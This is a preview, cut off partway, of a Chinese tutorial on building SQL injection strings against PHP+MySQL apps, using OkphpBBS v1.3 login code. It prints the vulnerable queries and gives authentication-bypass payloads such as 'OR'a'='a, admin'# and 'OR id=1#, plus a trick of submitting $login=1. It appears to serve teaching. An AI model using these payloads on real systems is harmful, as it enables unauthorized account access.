谈php+mysql注射语句构造

谈php+mysql注射语句构造

ID:36225118

大小:43.00 KB

页数:7页

时间:2019-05-07

谈php+mysql注射语句构造_第1页
谈php+mysql注射语句构造_第2页
谈php+mysql注射语句构造_第3页
谈php+mysql注射语句构造_第4页
谈php+mysql注射语句构造_第5页
资源描述:

《谈php+mysql注射语句构造》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库

1、一.前言:版本信息:OkphpBBSv1.3开源版下载地址:http://www.cncode.com/SoftView.asp?SoftID=1800  由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对OkphpBBSv1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。  声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。二.“漏洞”分析:1.admin/lo

2、gin.php注射导致绕过身份验证漏洞:代码:$conn=sql_connect($dbhost,$dbuser,$dbpswd,$dbname);$password=md5($password);$q="selectid,group_idfrom$user_tablewhereusername='$username'andpassword='$password'";$res=sql_query($q,$conn);$row=sql_fetch_row($res);$q="selectid,group_idfrom$user_tablewh

3、ereusername='$username'andpassword='$password'"中$username和$password没过滤,很容易就绕过。对于select*from$user_tablewhereusername='$username'andpassword='$password'这样的语句改造的方法有:构造1(利用逻辑运算):$username='OR'a'='a  $password='OR'a'='a相当于sql语句:select*from$user_tablewhereusername=''OR'a'='a'and

4、password=''OR'a'='a'构造2(利用mysql里的注释语句#,/*把$password注释掉):$username=admin'#(或admin'/*)即:select*from$user_tablewhereusername='admin'#'andpassword='$password'"相当于:select*from$user_tablewhereusername='admin'在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:se

5、lectid,group_idfrom$user_tablewhereusername='admin'#'andpassword='$password'"相当于:selectid,group_idfrom$user_tablewhereusername='admin'只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,我们就可以这样构造:$username='ORid=1#相当于:selectid,group_idfrom$user_tablewhereusername=''ORid=1#andpassword='$pa

6、ssword'(#后的被注释掉)我们接着往下看代码:if($row[0]){    //Ifnotadminorsupermoderator    if($username!="admin"&&!eregi("(^

7、&)3($

8、&)",$row[1])){        $login=0;    }        else{        $login    =1;    }}//Failtologin---------------if(!$login){    write_log("Moderatorlogin","0","passwor

9、dwrong");    echo"";    exit();}//Access!-------------else{    session_start();呵呵~~最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1就可以绕过了:)。2.users/login.php注射导致绕过身份验证漏洞:代码:$md5password=md5($password);$q="selectid,group_id,emailf

10、rom$user_tablewhereusername='$username'andpassword='$md5password'";$res=sql_query($q,$con

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。